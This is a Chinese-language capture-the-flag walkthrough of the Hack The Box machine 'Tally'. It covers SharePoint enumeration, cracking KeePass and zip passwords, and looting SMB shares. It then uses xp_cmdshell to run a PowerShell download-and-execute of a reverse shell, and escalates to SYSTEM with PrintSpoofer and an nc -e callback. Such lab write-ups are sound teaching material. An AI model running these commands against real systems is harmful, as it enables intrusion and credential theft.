0x00

0x01 信息收集

1.1 端口探测

用 nmap 扫描

在进行了各类端口的匿名枚举之后没什么效果，选择查看 web 服务

1.2 web 服务

这个页面是经典的 SharePoint 页面
其中的 logo

可以帮助我们更快的确定服务指纹

1.3 目录爆破

通过使用 SharePoint 的专属字典 /usr/share/seclists/Discovery/Web-Content/CMS/sharepoint.txt 进行枚举

可以得到
/shared documents/forms/allitems.aspx
下的页面

从 Documents

可以拿到

但是 Site Page 页面无法加载，但内部确实显示存在一个文件

0x02 进一步信息收集

2.1 keepass 文件

用 ftp_user:UTDRSCH53c"$6hys

┌──(kali㉿kali)-[~/htb/Tally]
└─$ ftp ftp://ftp_user:'UTDRSCH53c"$6hys'@htb.local 

在 /user/tim/files 目录下存在 tim.kdbx 文件
这是一个 keepass 加密数据库
下载下来
用 keepass2john 来转储密码

┌──(kali㉿kali)-[~/htb/Tally]
└─$ keepass2john tim.kdbx
tim:$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152
975a4d277b3b5c4edc1cd7da

手动删除前面用户名 tim 后 用 hashcat 进行破解

hashcat -m 13400 hashes --wordlist /usr/share/wordlists/rockyou.txt

得到密码 simplementeyo

$keepass$*2*6000*0*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a
4d277b3b5c4edc1cd7da:simplementeyo

在 kali 中打开 keepassxc 用他来打开数据库文件

导入并输入密码
可以找到一个 Shares 的密码

Finance:Acc0unting

2.2 smb 共享

连接 smb 共享

┌──(kali㉿kali)-[~/htb/Tally]              
└─$ smbclient //10.129.1.183/ACCT -U htb.local/Finance%Acc0unting 

在 smb 共享下
\\10.129.1.183\ACCT\zz_Migration\backup\20170808\orcharddb\
发现

smb: \zz_Migration\backup\20170808\orcharddb\> ls
  .                                   D        0  Sun Sep  3 10:23:16 2017
  ..                                  D        0  Sun Sep  3 10:23:16 2017
  orcharddb.zip                       A     1012  Sun Sep  3 10:23:07 2017

下载下来 解压发现需要密码
用 john 转储密码并破解

┌──(kali㉿kali)-[~/htb/Tally]
└─$ zip2john orcharddb.zip >ziphash
ver 2.0 orcharddb.zip/orcharddb.sql PKZIP Encr: cmplen=852, decmplen=3688, crc=AAC50291 ts=772E cs=aac5 type=8 

┌──(kali㉿kali)-[~/htb/Tally]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt ziphash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Acc0unting       (orcharddb.zip/orcharddb.sql)
1g 0:00:00:01 DONE (2026-10-12 01:57) 0.7812g/s 8937Kp/s 8937Kc/s 8937KC/s Adi12be..AYESTUPIDA
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

拿到密码 Acc0unting
与 smb 共享的相同
如果无法破解确实得尝试手头上所以密码
查看文件

┌──(kali㉿kali)-[~/htb/Tally]
└─$ cat orcharddb.sql 
/*    ==Scripting Parameters==

    Source Server Version : SQL Server 2016 (13.0.1601)
    Source Database Engine Edition : Microsoft SQL Server Enterprise Edition
    Source Database Engine Type : Standalone SQL Server

    Target Server Version : SQL Server 2017
    Target Database Engine Edition : Microsoft SQL Server Standard Edition
    Target Database Engine Type : Standalone SQL Server
*/
USE [orcharddb]
GO
/****** Object:  Table [dbo].[default_Orchard_Users_UserPartRecord]    Script Date: 03/09/2017 14:57:24 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
CREATE TABLE [dbo].[default_Orchard_Users_UserPartRecord](
        [Id] [int] NOT NULL,
        [UserName] [nvarchar](255) NULL,
        [Email] [nvarchar](255) NULL,
        [NormalizedUserName] [nvarchar](255) NULL,
        [Password] [nvarchar](255) NULL,
        [PasswordFormat] [nvarchar](255) NULL,
        [HashAlgorithm] [nvarchar](255) NULL,
        [PasswordSalt] [nvarchar](255) NULL,
        [RegistrationStatus] [nvarchar](255) NULL,
        [EmailStatus] [nvarchar](255) NULL,
        [EmailChallengeToken] [nvarchar](255) NULL,
PRIMARY KEY CLUSTERED 
(
        [Id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY]
GO
INSERT [dbo].[default_Orchard_Users_UserPartRecord] ([Id], [UserName], [Email], [NormalizedUserName], [Password], [PasswordFormat], [HashAlgorithm], [PasswordSalt], [RegistrationStatus], [EmailStatus], [EmailChallengeToken]) VALUES (2, N'admin', N'', N'admin', N'Finance2', N'Clear', N'SHA1', N's2Ieb5Pn7Vwf+X6JEXJitg==', N'Approved', N'Approved', NULL)
ALTER TABLE [dbo].[default_Orchard_Users_UserPartRecord] ADD  DEFAULT ('Approved') FOR [RegistrationStatus]
GO
ALTER TABLE [dbo].[default_Orchard_Users_UserPartRecord] ADD  DEFAULT ('Approved') FOR [EmailStatus]
GO

能看到账户密码和盐值

admin:Finance2  salt:s2Ieb5Pn7Vwf+X6JEXJitg==

但 该密码为 orcharddb CMS 的登入密码但现在已经被缓存了 SharePoint
在 \zz_Migration\Binaries\New folder\ 文件夹下
发现 tester.exe
简单的逆向发现

┌──(kali㉿kali)-[~/htb/Tally]
└─$ strings tester.exe

其中可读字符串包括

DRIVER={SQL Server};SERVER=TALLY, 1433;DATABASE=orcharddb;UID=sa;PWD=GWE3V65#6KFH93@4GWTG2G;

包含有 数据库账户密码 sa:GWE3V65#6KFH93@4GWTG2G

2.3 mssql 数据库转 shell

因为是 sa 账户权限很高可以之间去拿 shell

┌──(kali㉿kali)-[~/htb/Tally]
└─$ impacket-mssqlclient local.htb/sa:'GWE3V65#6KFH93@4GWTG2G'@10.129.1.183

执行

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 执行命令
EXEC xp_cmdshell 'whoami';
-- 反弹 shell
EXEC xp_cmdshell 'powershell -c "IEX (New-Object Net.WebClient).DownloadString(''http://你的IP/shell.ps1'')"';

当然我们要准备一个 shell.ps1 脚本文件，并且打开 http 服务

┌──(kali㉿kali)-[~/htb/Tally]
└─$ vim shell.ps1                 

┌──(kali㉿kali)-[~/htb/Tally]
└─$ python -m http.server 80

脚本文件就正常的 windows 反弹 shell 网上都有
成功获取 shell

┌──(kali㉿kali)-[~/htb/Tally]
└─$ rlwrap -cAr nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.1.183 50319

PS C:\Windows\system32> whoami
tally\sarah
PS C:\Windows\system32> 

0x03 提权

3.1 一条捷径

查看权限时

PS C:\Windows\System32\spool\drivers\color> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

其中 SeImpersonatePrivilege 有现成的提权方法
上传 nc64.exe 与 PrintSpoofer64.exe 到 C:\Windows\System32\spool\drivers\color
这个目录常用来绕过 windows defend
然后执行

PS C:\Windows\System32\spool\drivers\color> .\PrintSpoofer64.exe -c "C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.16.20 80 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

并监听 80 端口

c:\Users\Sarah\Desktop>whoami
whoami
nt authority\system

成功提权